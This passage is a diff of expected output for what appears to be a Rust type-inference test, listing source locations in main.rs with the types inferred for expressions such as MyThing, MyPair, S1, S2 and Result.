main.rs:948:17:948:29 | ... .map(...) | | file://:0:0:0:0 | Result | -| main.rs:949:9:949:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:949:9:949:22 | ...::Ok(...) | E | main.rs:928:5:929:14 | S2 | -| main.rs:949:9:949:22 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:949:20:949:21 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:953:30:953:34 | input | | file://:0:0:0:0 | Result | -| main.rs:953:30:953:34 | input | E | main.rs:925:5:926:14 | S1 | -| main.rs:953:30:953:34 | input | T | main.rs:953:20:953:27 | T | -| main.rs:953:69:960:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:953:69:960:5 | { ... } | E | main.rs:925:5:926:14 | S1 | -| main.rs:953:69:960:5 | { ... } | T | main.rs:953:20:953:27 | T | -| main.rs:954:13:954:17 | value | | main.rs:953:20:953:27 | T | -| main.rs:954:21:954:25 | input | | file://:0:0:0:0 | Result | -| main.rs:954:21:954:25 | input | E | main.rs:925:5:926:14 | S1 | -| main.rs:954:21:954:25 | input | T | main.rs:953:20:953:27 | T | -| main.rs:954:21:954:26 | TryExpr | | main.rs:953:20:953:27 | T | -| main.rs:955:22:955:38 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:955:22:955:38 | ...::Ok(...) | T | main.rs:953:20:953:27 | T | -| main.rs:955:22:958:10 | ... .and_then(...) | | file://:0:0:0:0 | Result | -| main.rs:955:33:955:37 | value | | main.rs:953:20:953:27 | T | -| main.rs:955:53:958:9 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:955:53:958:9 | { ... } | E | main.rs:925:5:926:14 | S1 | -| main.rs:957:13:957:34 | ...::Ok::<...>(...) | | file://:0:0:0:0 | Result | -| main.rs:957:13:957:34 | ...::Ok::<...>(...) | E | main.rs:925:5:926:14 | S1 | -| main.rs:959:9:959:23 | ...::Err(...) | | file://:0:0:0:0 | Result | -| main.rs:959:9:959:23 | ...::Err(...) | E | main.rs:925:5:926:14 | S1 | -| main.rs:959:9:959:23 | ...::Err(...) | T | main.rs:953:20:953:27 | T | -| main.rs:959:21:959:22 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:963:37:963:52 | try_same_error(...) | | file://:0:0:0:0 | Result | -| main.rs:963:37:963:52 | try_same_error(...) | E | main.rs:925:5:926:14 | S1 | -| main.rs:963:37:963:52 | try_same_error(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:967:37:967:55 | try_convert_error(...) | | file://:0:0:0:0 | Result | -| main.rs:967:37:967:55 | try_convert_error(...) | E | main.rs:928:5:929:14 | S2 | -| main.rs:967:37:967:55 | try_convert_error(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:971:37:971:49 | try_chained(...) | | file://:0:0:0:0 | Result | -| main.rs:971:37:971:49 | try_chained(...) | E | main.rs:928:5:929:14 | S2 | -| main.rs:971:37:971:49 | try_chained(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:975:37:975:63 | try_complex(...) | | file://:0:0:0:0 | Result | -| main.rs:975:37:975:63 | try_complex(...) | E | main.rs:925:5:926:14 | S1 | -| main.rs:975:37:975:63 | try_complex(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:975:49:975:62 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:975:49:975:62 | ...::Ok(...) | E | main.rs:925:5:926:14 | S1 | -| main.rs:975:49:975:62 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:975:60:975:61 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:983:5:983:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:984:5:984:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:984:20:984:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:984:41:984:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:100:25:100:28 | SelfParam | | main.rs:99:5:101:5 | Self [trait MyTrait] | +| main.rs:105:25:105:28 | SelfParam | | main.rs:94:5:97:5 | MyThing | +| main.rs:105:39:107:9 | { ... } | | {EXTERNAL LOCATION} | bool | +| main.rs:106:13:106:16 | self | | main.rs:94:5:97:5 | MyThing | +| main.rs:106:13:106:22 | self.field | | {EXTERNAL LOCATION} | bool | +| main.rs:111:13:111:13 | x | | main.rs:94:5:97:5 | MyThing | +| main.rs:111:17:111:39 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | +| main.rs:111:34:111:37 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:112:13:112:13 | a | | {EXTERNAL LOCATION} | bool | +| main.rs:112:17:112:17 | x | | main.rs:94:5:97:5 | MyThing | +| main.rs:112:17:112:32 | x.trait_method() | | {EXTERNAL LOCATION} | bool | +| main.rs:114:13:114:13 | y | | main.rs:94:5:97:5 | MyThing | +| main.rs:114:17:114:40 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | +| main.rs:114:34:114:38 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:115:13:115:13 | b | | {EXTERNAL LOCATION} | bool | +| main.rs:115:17:115:40 | ...::trait_method(...) | | {EXTERNAL LOCATION} | bool | +| main.rs:115:39:115:39 | y | | main.rs:94:5:97:5 | MyThing | +| main.rs:132:15:132:18 | SelfParam | | main.rs:120:5:123:5 | MyThing | +| main.rs:132:15:132:18 | SelfParam | A | main.rs:125:5:126:14 | S1 | +| main.rs:132:27:134:9 | { ... } | | main.rs:125:5:126:14 | S1 | +| main.rs:133:13:133:16 | self | | main.rs:120:5:123:5 | MyThing | +| main.rs:133:13:133:16 | self | A | main.rs:125:5:126:14 | S1 | +| main.rs:133:13:133:18 | self.a | | main.rs:125:5:126:14 | S1 | +| main.rs:139:15:139:18 | SelfParam | | main.rs:120:5:123:5 | MyThing | +| main.rs:139:15:139:18 | SelfParam | A | main.rs:127:5:128:14 | S2 | +| main.rs:139:29:141:9 | { ... } | | main.rs:120:5:123:5 | MyThing | +| main.rs:139:29:141:9 | { ... } | A | main.rs:127:5:128:14 | S2 | +| main.rs:140:13:140:30 | Self {...} | | main.rs:120:5:123:5 | MyThing | +| main.rs:140:13:140:30 | Self {...} | A | main.rs:127:5:128:14 | S2 | +| main.rs:140:23:140:26 | self | | main.rs:120:5:123:5 | MyThing | +| main.rs:140:23:140:26 | self | A | main.rs:127:5:128:14 | S2 | +| main.rs:140:23:140:28 | self.a | | main.rs:127:5:128:14 | S2 | +| main.rs:145:15:145:18 | SelfParam | | main.rs:120:5:123:5 | MyThing | +| main.rs:145:15:145:18 | SelfParam | A | main.rs:144:10:144:10 | T | +| main.rs:145:26:147:9 | { ... } | | main.rs:144:10:144:10 | T | +| main.rs:146:13:146:16 | self | | main.rs:120:5:123:5 | MyThing | +| main.rs:146:13:146:16 | self | A | main.rs:144:10:144:10 | T | +| main.rs:146:13:146:18 | self.a | | main.rs:144:10:144:10 | T | +| main.rs:151:13:151:13 | x | | main.rs:120:5:123:5 | MyThing | +| main.rs:151:13:151:13 | x | A | main.rs:125:5:126:14 | S1 | +| main.rs:151:17:151:33 | MyThing {...} | | main.rs:120:5:123:5 | MyThing | +| main.rs:151:17:151:33 | MyThing {...} | A | main.rs:125:5:126:14 | S1 | +| main.rs:151:30:151:31 | S1 | | main.rs:125:5:126:14 | S1 | +| main.rs:152:13:152:13 | y | | main.rs:120:5:123:5 | MyThing | +| main.rs:152:13:152:13 | y | A | main.rs:127:5:128:14 | S2 | +| main.rs:152:17:152:33 | MyThing {...} | | main.rs:120:5:123:5 | MyThing | +| main.rs:152:17:152:33 | MyThing {...} | A | main.rs:127:5:128:14 | S2 | +| main.rs:152:30:152:31 | S2 | | main.rs:127:5:128:14 | S2 | +| main.rs:155:18:155:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:155:26:155:26 | x | | main.rs:120:5:123:5 | MyThing | +| main.rs:155:26:155:26 | x | A | main.rs:125:5:126:14 | S1 | +| main.rs:155:26:155:28 | x.a | | main.rs:125:5:126:14 | S1 | +| main.rs:156:18:156:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:156:26:156:26 | y | | main.rs:120:5:123:5 | MyThing | +| main.rs:156:26:156:26 | y | A | main.rs:127:5:128:14 | S2 | +| main.rs:156:26:156:28 | y.a | | main.rs:127:5:128:14 | S2 | +| main.rs:158:18:158:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:158:26:158:26 | x | | main.rs:120:5:123:5 | MyThing | +| main.rs:158:26:158:26 | x | A | main.rs:125:5:126:14 | S1 | +| main.rs:158:26:158:31 | x.m1() | | main.rs:125:5:126:14 | S1 | +| main.rs:159:18:159:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:159:26:159:26 | y | | main.rs:120:5:123:5 | MyThing | +| main.rs:159:26:159:26 | y | A | main.rs:127:5:128:14 | S2 | +| main.rs:159:26:159:31 | y.m1() | | main.rs:120:5:123:5 | MyThing | +| main.rs:159:26:159:31 | y.m1() | A | main.rs:127:5:128:14 | S2 | +| main.rs:159:26:159:33 | ... .a | | main.rs:127:5:128:14 | S2 | +| main.rs:161:13:161:13 | x | | main.rs:120:5:123:5 | MyThing | +| main.rs:161:13:161:13 | x | A | main.rs:125:5:126:14 | S1 | +| main.rs:161:17:161:33 | MyThing {...} | | main.rs:120:5:123:5 | MyThing | +| main.rs:161:17:161:33 | MyThing {...} | A | main.rs:125:5:126:14 | S1 | +| main.rs:161:30:161:31 | S1 | | main.rs:125:5:126:14 | S1 | +| main.rs:162:13:162:13 | y | | main.rs:120:5:123:5 | MyThing | +| main.rs:162:13:162:13 | y | A | main.rs:127:5:128:14 | S2 | +| main.rs:162:17:162:33 | MyThing {...} | | main.rs:120:5:123:5 | MyThing | +| main.rs:162:17:162:33 | MyThing {...} | A | main.rs:127:5:128:14 | S2 | +| main.rs:162:30:162:31 | S2 | | main.rs:127:5:128:14 | S2 | +| main.rs:164:18:164:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:164:26:164:26 | x | | main.rs:120:5:123:5 | MyThing | +| main.rs:164:26:164:26 | x | A | main.rs:125:5:126:14 | S1 | +| main.rs:164:26:164:31 | x.m2() | | main.rs:125:5:126:14 | S1 | +| main.rs:165:18:165:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:165:26:165:26 | y | | main.rs:120:5:123:5 | MyThing | +| main.rs:165:26:165:26 | y | A | main.rs:127:5:128:14 | S2 | +| main.rs:165:26:165:31 | y.m2() | | main.rs:127:5:128:14 | S2 | +| main.rs:189:15:189:18 | SelfParam | | main.rs:188:5:197:5 | Self [trait MyTrait] | +| main.rs:191:15:191:18 | SelfParam | | main.rs:188:5:197:5 | Self [trait MyTrait] | +| main.rs:194:9:196:9 | { ... } | | main.rs:188:5:197:5 | Self [trait MyTrait] | +| main.rs:195:13:195:16 | self | | main.rs:188:5:197:5 | Self [trait MyTrait] | +| main.rs:201:16:201:19 | SelfParam | | main.rs:199:5:204:5 | Self [trait MyProduct] | +| main.rs:203:16:203:19 | SelfParam | | main.rs:199:5:204:5 | Self [trait MyProduct] | +| main.rs:206:43:206:43 | x | | main.rs:206:26:206:40 | T2 | +| main.rs:206:56:208:5 | { ... } | | main.rs:206:22:206:23 | T1 | +| main.rs:207:9:207:9 | x | | main.rs:206:26:206:40 | T2 | +| main.rs:207:9:207:14 | x.m1() | | main.rs:206:22:206:23 | T1 | +| main.rs:212:15:212:18 | SelfParam | | main.rs:170:5:173:5 | MyThing | +| main.rs:212:15:212:18 | SelfParam | A | main.rs:181:5:182:14 | S1 | +| main.rs:212:27:214:9 | { ... } | | main.rs:181:5:182:14 | S1 | +| main.rs:213:13:213:16 | self | | main.rs:170:5:173:5 | MyThing | +| main.rs:213:13:213:16 | self | A | main.rs:181:5:182:14 | S1 | +| main.rs:213:13:213:18 | self.a | | main.rs:181:5:182:14 | S1 | +| main.rs:219:15:219:18 | SelfParam | | main.rs:170:5:173:5 | MyThing | +| main.rs:219:15:219:18 | SelfParam | A | main.rs:183:5:184:14 | S2 | +| main.rs:219:29:221:9 | { ... } | | main.rs:170:5:173:5 | MyThing | +| main.rs:219:29:221:9 | { ... } | A | main.rs:183:5:184:14 | S2 | +| main.rs:220:13:220:30 | Self {...} | | main.rs:170:5:173:5 | MyThing | +| main.rs:220:13:220:30 | Self {...} | A | main.rs:183:5:184:14 | S2 | +| main.rs:220:23:220:26 | self | | main.rs:170:5:173:5 | MyThing | +| main.rs:220:23:220:26 | self | A | main.rs:183:5:184:14 | S2 | +| main.rs:220:23:220:28 | self.a | | main.rs:183:5:184:14 | S2 | +| main.rs:231:15:231:18 | SelfParam | | main.rs:170:5:173:5 | MyThing | +| main.rs:231:15:231:18 | SelfParam | A | main.rs:185:5:186:14 | S3 | +| main.rs:231:27:233:9 | { ... } | | main.rs:226:10:226:11 | TD | +| main.rs:232:13:232:25 | ...::default(...) | | main.rs:226:10:226:11 | TD | +| main.rs:238:15:238:18 | SelfParam | | main.rs:175:5:179:5 | MyPair | +| main.rs:238:15:238:18 | SelfParam | P1 | main.rs:236:10:236:10 | I | +| main.rs:238:15:238:18 | SelfParam | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:238:26:240:9 | { ... } | | main.rs:236:10:236:10 | I | +| main.rs:239:13:239:16 | self | | main.rs:175:5:179:5 | MyPair | +| main.rs:239:13:239:16 | self | P1 | main.rs:236:10:236:10 | I | +| main.rs:239:13:239:16 | self | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:239:13:239:19 | self.p1 | | main.rs:236:10:236:10 | I | +| main.rs:245:15:245:18 | SelfParam | | main.rs:175:5:179:5 | MyPair | +| main.rs:245:15:245:18 | SelfParam | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:245:15:245:18 | SelfParam | P2 | main.rs:183:5:184:14 | S2 | +| main.rs:245:27:247:9 | { ... } | | main.rs:185:5:186:14 | S3 | +| main.rs:246:13:246:14 | S3 | | main.rs:185:5:186:14 | S3 | +| main.rs:252:15:252:18 | SelfParam | | main.rs:175:5:179:5 | MyPair | +| main.rs:252:15:252:18 | SelfParam | P1 | main.rs:170:5:173:5 | MyThing | +| main.rs:252:15:252:18 | SelfParam | P1.A | main.rs:250:10:250:11 | TT | +| main.rs:252:15:252:18 | SelfParam | P2 | main.rs:185:5:186:14 | S3 | +| main.rs:252:27:255:9 | { ... } | | main.rs:250:10:250:11 | TT | +| main.rs:253:17:253:21 | alpha | | main.rs:170:5:173:5 | MyThing | +| main.rs:253:17:253:21 | alpha | A | main.rs:250:10:250:11 | TT | +| main.rs:253:25:253:28 | self | | main.rs:175:5:179:5 | MyPair | +| main.rs:253:25:253:28 | self | P1 | main.rs:170:5:173:5 | MyThing | +| main.rs:253:25:253:28 | self | P1.A | main.rs:250:10:250:11 | TT | +| main.rs:253:25:253:28 | self | P2 | main.rs:185:5:186:14 | S3 | +| main.rs:253:25:253:31 | self.p1 | | main.rs:170:5:173:5 | MyThing | +| main.rs:253:25:253:31 | self.p1 | A | main.rs:250:10:250:11 | TT | +| main.rs:254:13:254:17 | alpha | | main.rs:170:5:173:5 | MyThing | +| main.rs:254:13:254:17 | alpha | A | main.rs:250:10:250:11 | TT | +| main.rs:254:13:254:19 | alpha.a | | main.rs:250:10:250:11 | TT | +| main.rs:261:16:261:19 | SelfParam | | main.rs:175:5:179:5 | MyPair | +| main.rs:261:16:261:19 | SelfParam | P1 | main.rs:259:10:259:10 | A | +| main.rs:261:16:261:19 | SelfParam | P2 | main.rs:259:10:259:10 | A | +| main.rs:261:27:263:9 | { ... } | | main.rs:259:10:259:10 | A | +| main.rs:262:13:262:16 | self | | main.rs:175:5:179:5 | MyPair | +| main.rs:262:13:262:16 | self | P1 | main.rs:259:10:259:10 | A | +| main.rs:262:13:262:16 | self | P2 | main.rs:259:10:259:10 | A | +| main.rs:262:13:262:19 | self.p1 | | main.rs:259:10:259:10 | A | +| main.rs:266:16:266:19 | SelfParam | | main.rs:175:5:179:5 | MyPair | +| main.rs:266:16:266:19 | SelfParam | P1 | main.rs:259:10:259:10 | A | +| main.rs:266:16:266:19 | SelfParam | P2 | main.rs:259:10:259:10 | A | +| main.rs:266:27:268:9 | { ... } | | main.rs:259:10:259:10 | A | +| main.rs:267:13:267:16 | self | | main.rs:175:5:179:5 | MyPair | +| main.rs:267:13:267:16 | self | P1 | main.rs:259:10:259:10 | A | +| main.rs:267:13:267:16 | self | P2 | main.rs:259:10:259:10 | A | +| main.rs:267:13:267:19 | self.p2 | | main.rs:259:10:259:10 | A | +| main.rs:274:16:274:19 | SelfParam | | main.rs:175:5:179:5 | MyPair | +| main.rs:274:16:274:19 | SelfParam | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:274:16:274:19 | SelfParam | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:274:28:276:9 | { ... } | | main.rs:181:5:182:14 | S1 | +| main.rs:275:13:275:16 | self | | main.rs:175:5:179:5 | MyPair | +| main.rs:275:13:275:16 | self | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:275:13:275:16 | self | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:275:13:275:19 | self.p2 | | main.rs:181:5:182:14 | S1 | +| main.rs:279:16:279:19 | SelfParam | | main.rs:175:5:179:5 | MyPair | +| main.rs:279:16:279:19 | SelfParam | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:279:16:279:19 | SelfParam | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:279:28:281:9 | { ... } | | main.rs:183:5:184:14 | S2 | +| main.rs:280:13:280:16 | self | | main.rs:175:5:179:5 | MyPair | +| main.rs:280:13:280:16 | self | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:280:13:280:16 | self | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:280:13:280:19 | self.p1 | | main.rs:183:5:184:14 | S2 | +| main.rs:284:46:284:46 | p | | main.rs:284:24:284:43 | P | +| main.rs:284:58:286:5 | { ... } | | main.rs:284:16:284:17 | V1 | +| main.rs:285:9:285:9 | p | | main.rs:284:24:284:43 | P | +| main.rs:285:9:285:15 | p.fst() | | main.rs:284:16:284:17 | V1 | +| main.rs:288:46:288:46 | p | | main.rs:288:24:288:43 | P | +| main.rs:288:58:290:5 | { ... } | | main.rs:288:20:288:21 | V2 | +| main.rs:289:9:289:9 | p | | main.rs:288:24:288:43 | P | +| main.rs:289:9:289:15 | p.snd() | | main.rs:288:20:288:21 | V2 | +| main.rs:292:54:292:54 | p | | main.rs:175:5:179:5 | MyPair | +| main.rs:292:54:292:54 | p | P1 | main.rs:292:20:292:21 | V0 | +| main.rs:292:54:292:54 | p | P2 | main.rs:292:32:292:51 | P | +| main.rs:292:78:294:5 | { ... } | | main.rs:292:24:292:25 | V1 | +| main.rs:293:9:293:9 | p | | main.rs:175:5:179:5 | MyPair | +| main.rs:293:9:293:9 | p | P1 | main.rs:292:20:292:21 | V0 | +| main.rs:293:9:293:9 | p | P2 | main.rs:292:32:292:51 | P | +| main.rs:293:9:293:12 | p.p2 | | main.rs:292:32:292:51 | P | +| main.rs:293:9:293:18 | ... .fst() | | main.rs:292:24:292:25 | V1 | +| main.rs:298:23:298:26 | SelfParam | | main.rs:296:5:299:5 | Self [trait ConvertTo] | +| main.rs:303:23:303:26 | SelfParam | | main.rs:301:10:301:23 | T | +| main.rs:303:35:305:9 | { ... } | | main.rs:181:5:182:14 | S1 | +| main.rs:304:13:304:16 | self | | main.rs:301:10:301:23 | T | +| main.rs:304:13:304:21 | self.m1() | | main.rs:181:5:182:14 | S1 | +| main.rs:308:41:308:45 | thing | | main.rs:308:23:308:38 | T | +| main.rs:308:57:310:5 | { ... } | | main.rs:308:19:308:20 | TS | +| main.rs:309:9:309:13 | thing | | main.rs:308:23:308:38 | T | +| main.rs:309:9:309:26 | thing.convert_to() | | main.rs:308:19:308:20 | TS | +| main.rs:312:56:312:60 | thing | | main.rs:312:39:312:53 | TP | +| main.rs:312:73:315:5 | { ... } | | main.rs:181:5:182:14 | S1 | +| main.rs:314:9:314:13 | thing | | main.rs:312:39:312:53 | TP | +| main.rs:314:9:314:26 | thing.convert_to() | | main.rs:181:5:182:14 | S1 | +| main.rs:318:13:318:20 | thing_s1 | | main.rs:170:5:173:5 | MyThing | +| main.rs:318:13:318:20 | thing_s1 | A | main.rs:181:5:182:14 | S1 | +| main.rs:318:24:318:40 | MyThing {...} | | main.rs:170:5:173:5 | MyThing | +| main.rs:318:24:318:40 | MyThing {...} | A | main.rs:181:5:182:14 | S1 | +| main.rs:318:37:318:38 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:319:13:319:20 | thing_s2 | | main.rs:170:5:173:5 | MyThing | +| main.rs:319:13:319:20 | thing_s2 | A | main.rs:183:5:184:14 | S2 | +| main.rs:319:24:319:40 | MyThing {...} | | main.rs:170:5:173:5 | MyThing | +| main.rs:319:24:319:40 | MyThing {...} | A | main.rs:183:5:184:14 | S2 | +| main.rs:319:37:319:38 | S2 | | main.rs:183:5:184:14 | S2 | +| main.rs:320:13:320:20 | thing_s3 | | main.rs:170:5:173:5 | MyThing | +| main.rs:320:13:320:20 | thing_s3 | A | main.rs:185:5:186:14 | S3 | +| main.rs:320:24:320:40 | MyThing {...} | | main.rs:170:5:173:5 | MyThing | +| main.rs:320:24:320:40 | MyThing {...} | A | main.rs:185:5:186:14 | S3 | +| main.rs:320:37:320:38 | S3 | | main.rs:185:5:186:14 | S3 | +| main.rs:324:18:324:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:324:26:324:33 | thing_s1 | | main.rs:170:5:173:5 | MyThing | +| main.rs:324:26:324:33 | thing_s1 | A | main.rs:181:5:182:14 | S1 | +| main.rs:324:26:324:38 | thing_s1.m1() | | main.rs:181:5:182:14 | S1 | +| main.rs:325:18:325:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:325:26:325:33 | thing_s2 | | main.rs:170:5:173:5 | MyThing | +| main.rs:325:26:325:33 | thing_s2 | A | main.rs:183:5:184:14 | S2 | +| main.rs:325:26:325:38 | thing_s2.m1() | | main.rs:170:5:173:5 | MyThing | +| main.rs:325:26:325:38 | thing_s2.m1() | A | main.rs:183:5:184:14 | S2 | +| main.rs:325:26:325:40 | ... .a | | main.rs:183:5:184:14 | S2 | +| main.rs:326:13:326:14 | s3 | | main.rs:185:5:186:14 | S3 | +| main.rs:326:22:326:29 | thing_s3 | | main.rs:170:5:173:5 | MyThing | +| main.rs:326:22:326:29 | thing_s3 | A | main.rs:185:5:186:14 | S3 | +| main.rs:326:22:326:34 | thing_s3.m1() | | main.rs:185:5:186:14 | S3 | +| main.rs:327:18:327:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:327:26:327:27 | s3 | | main.rs:185:5:186:14 | S3 | +| main.rs:329:13:329:14 | p1 | | main.rs:175:5:179:5 | MyPair | +| main.rs:329:13:329:14 | p1 | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:329:13:329:14 | p1 | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:329:18:329:42 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:329:18:329:42 | MyPair {...} | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:329:18:329:42 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:329:31:329:32 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:329:39:329:40 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:330:18:330:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:330:26:330:27 | p1 | | main.rs:175:5:179:5 | MyPair | +| main.rs:330:26:330:27 | p1 | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:330:26:330:27 | p1 | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:330:26:330:32 | p1.m1() | | main.rs:181:5:182:14 | S1 | +| main.rs:332:13:332:14 | p2 | | main.rs:175:5:179:5 | MyPair | +| main.rs:332:13:332:14 | p2 | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:332:13:332:14 | p2 | P2 | main.rs:183:5:184:14 | S2 | +| main.rs:332:18:332:42 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:332:18:332:42 | MyPair {...} | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:332:18:332:42 | MyPair {...} | P2 | main.rs:183:5:184:14 | S2 | +| main.rs:332:31:332:32 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:332:39:332:40 | S2 | | main.rs:183:5:184:14 | S2 | +| main.rs:333:18:333:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:333:26:333:27 | p2 | | main.rs:175:5:179:5 | MyPair | +| main.rs:333:26:333:27 | p2 | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:333:26:333:27 | p2 | P2 | main.rs:183:5:184:14 | S2 | +| main.rs:333:26:333:32 | p2.m1() | | main.rs:185:5:186:14 | S3 | +| main.rs:335:13:335:14 | p3 | | main.rs:175:5:179:5 | MyPair | +| main.rs:335:13:335:14 | p3 | P1 | main.rs:170:5:173:5 | MyThing | +| main.rs:335:13:335:14 | p3 | P1.A | main.rs:181:5:182:14 | S1 | +| main.rs:335:13:335:14 | p3 | P2 | main.rs:185:5:186:14 | S3 | +| main.rs:335:18:338:9 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:335:18:338:9 | MyPair {...} | P1 | main.rs:170:5:173:5 | MyThing | +| main.rs:335:18:338:9 | MyPair {...} | P1.A | main.rs:181:5:182:14 | S1 | +| main.rs:335:18:338:9 | MyPair {...} | P2 | main.rs:185:5:186:14 | S3 | +| main.rs:336:17:336:33 | MyThing {...} | | main.rs:170:5:173:5 | MyThing | +| main.rs:336:17:336:33 | MyThing {...} | A | main.rs:181:5:182:14 | S1 | +| main.rs:336:30:336:31 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:337:17:337:18 | S3 | | main.rs:185:5:186:14 | S3 | +| main.rs:339:18:339:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:339:26:339:27 | p3 | | main.rs:175:5:179:5 | MyPair | +| main.rs:339:26:339:27 | p3 | P1 | main.rs:170:5:173:5 | MyThing | +| main.rs:339:26:339:27 | p3 | P1.A | main.rs:181:5:182:14 | S1 | +| main.rs:339:26:339:27 | p3 | P2 | main.rs:185:5:186:14 | S3 | +| main.rs:339:26:339:32 | p3.m1() | | main.rs:181:5:182:14 | S1 | +| main.rs:342:13:342:13 | a | | main.rs:175:5:179:5 | MyPair | +| main.rs:342:13:342:13 | a | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:342:13:342:13 | a | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:342:17:342:41 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:342:17:342:41 | MyPair {...} | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:342:17:342:41 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:342:30:342:31 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:342:38:342:39 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:343:13:343:13 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:343:17:343:17 | a | | main.rs:175:5:179:5 | MyPair | +| main.rs:343:17:343:17 | a | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:343:17:343:17 | a | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:343:17:343:23 | a.fst() | | main.rs:181:5:182:14 | S1 | +| main.rs:344:18:344:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:344:26:344:26 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:345:13:345:13 | y | | main.rs:181:5:182:14 | S1 | +| main.rs:345:17:345:17 | a | | main.rs:175:5:179:5 | MyPair | +| main.rs:345:17:345:17 | a | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:345:17:345:17 | a | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:345:17:345:23 | a.snd() | | main.rs:181:5:182:14 | S1 | +| main.rs:346:18:346:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:346:26:346:26 | y | | main.rs:181:5:182:14 | S1 | +| main.rs:352:13:352:13 | b | | main.rs:175:5:179:5 | MyPair | +| main.rs:352:13:352:13 | b | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:352:13:352:13 | b | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:352:17:352:41 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:352:17:352:41 | MyPair {...} | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:352:17:352:41 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:352:30:352:31 | S2 | | main.rs:183:5:184:14 | S2 | +| main.rs:352:38:352:39 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:353:13:353:13 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:353:17:353:17 | b | | main.rs:175:5:179:5 | MyPair | +| main.rs:353:17:353:17 | b | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:353:17:353:17 | b | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:353:17:353:23 | b.fst() | | main.rs:181:5:182:14 | S1 | +| main.rs:354:18:354:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:354:26:354:26 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:355:13:355:13 | y | | main.rs:183:5:184:14 | S2 | +| main.rs:355:17:355:17 | b | | main.rs:175:5:179:5 | MyPair | 